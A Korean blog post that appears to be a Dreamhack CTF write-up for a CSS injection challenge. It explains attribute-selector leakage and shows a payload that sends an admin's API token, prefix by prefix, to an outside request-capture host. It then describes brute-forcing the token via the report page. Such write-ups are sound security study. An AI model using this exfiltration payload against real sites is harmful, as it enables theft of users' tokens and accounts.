CSS Injection

박원철·2024년 12월 22일

드림핵풀기

목록 보기
4/5

CSS Injection 주요 개념 1. IP Ping Back


CSS의 외부 리소스를 불러오는 기능을 활용하여 공격자의 서버로 요청을 보낼 수 있음.

CSS Injection 주요 개념 2. IP Ping Back


CSS의 외부 리소스를 불러오는 기능과 특성 선택자를 활용하여 입력 박스의 내용을 공격자의 서버로 탈취할 수 있음.

CSS Injection 소스코드 분석


로그인이 되어 있어야 한다.


apikey가 존재하지 않으면 401 에러를 반환한다.


report 페이지에서는 post 메소드로 받은 요청일 경우 127.0.0.1:800의 경로로 실행한다.(내부서버)
이 때 Check_url을 활용하는데


check_url은 admin의 권한으로 실행한다.


api/me나 api/memo를 활용하기 위해서는 apikey가 필요하다.


admin의 메모에는 flag가 저장되어 있다.

CSS Injection 페이지 서비스 분석


Mypage 페이지에서 API Token을 확인할 수 있다.


Report 페이지에서 Path를 입력하고 전송할 수 있다.


사용자의 memo를 입력하고 입력된 메모를 확인할 수 있다.

CSS Injection 시나리오 수립

  1. Mypage에서 IP Ping Back과 CSS Attribute Selector를 활용하여 사용자의 API Token을 탈취할 수 있는 공격구문을 만든다.

  2. 완성된 공격구문을 Report 페이지에서 실행하여 ADMIN의 API Token을 탈취한다.

  3. 탈취한 API Token으로 /api/memo에 접근하여 FLAG를 확인한다.

CSS Injection 풀이


IP Ping Back 테스트 결과


공격자의 서버로 요청이 온 것을 확인한다.



CSS 특성 선택자를 활용해서 공격자의 서버에 요청이 제대로 전달되어 있는지 확인한다.

mypage?color=red;}%20input[id=InputApitoken][value^=r]%20{background:%20url(https://plwhkpx.request.dreamhack.games/r)
-> id가 InputApitoken인 Input 태그의 Value값의 접두사가 r이면 공격자의 서버로 /r요청



이를 이제 Report페이지에서 버프스위트를 활용해서 무작위대입공격을 진행해 ADMIN의 Api Token을 확인한다.



api/memo에 접근 시 에러메세지를 확인한다.


요청헤더에 API-KEY를 생성하고 ADMIN의 API Token을 입력하여 FLAG를 획득한다.

profile
오류동키보드워리어

0개의 댓글